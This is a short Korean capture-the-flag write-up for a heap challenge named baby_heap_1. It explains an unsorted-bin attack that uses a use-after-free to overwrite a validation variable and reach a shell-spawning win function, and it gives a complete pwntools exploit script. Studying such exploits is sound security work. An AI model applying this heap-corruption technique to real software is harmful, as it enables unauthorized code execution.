# Protection Tech
# process
validation 변수 값이 0이 아니면 win 함수를 호출해서 쉘 실행 가능하다.
1) small chunk 1개, large chunk 1개 할당
2) 0번 청크 제거
- unsorted bin에 등록된다.
3) UAF로 0번 청크에 validation-0x10 주소 값을 넣는다.
bk 영역에 들어가 있는 것 확인할 수 있다.
4) 해제한 0번 청크와 같은 크기로 heap 할당
- unlink 과정에서 validation 값이 바뀌기 때문에 따로 값을 바꾸지 않아도 if 조건을 만족해서 win 함수가 호출될 수 있다.
# exploit code
#!/usr/bin/python
from pwn import *
#context.log_level = 'debug'
p = process("./baby_heap_1")
gdb.attach(p)
elf = ELF("./baby_heap_1")
validation = 0x6020a8
def add(size):
p.sendlineafter("> ", '1')
p.sendlineafter("Size: ", str(size))
def delete(index):
p.sendlineafter("> ", '2')
p.sendlineafter("idx: ", str(index))
def read(index, data):
p.sendlineafter("> ", '3')
p.sendlineafter("idx: ", str(index))
p.sendlineafter("data: ", data)
add(0x80)
add(0x1e0)
delete(0)
pay = p64(validation-0x10)
read(0, pay)
add(0x80)
p.interactive()
# exploit
[DEFCON CTF prequals 2019] speedrun-009 (0) | 2020.02.28 |
---|---|
[33c3 CTF] babyfengshui (Heap Feng Shui) (0) | 2020.02.28 |
[HITCON-Training] lab11 bamboobox (unsafe unlink) (0) | 2020.02.28 |
[Codegate 2018] Super Marimo (0) | 2020.02.09 |
[picoCTF 2018] echo back (0) | 2020.02.07 |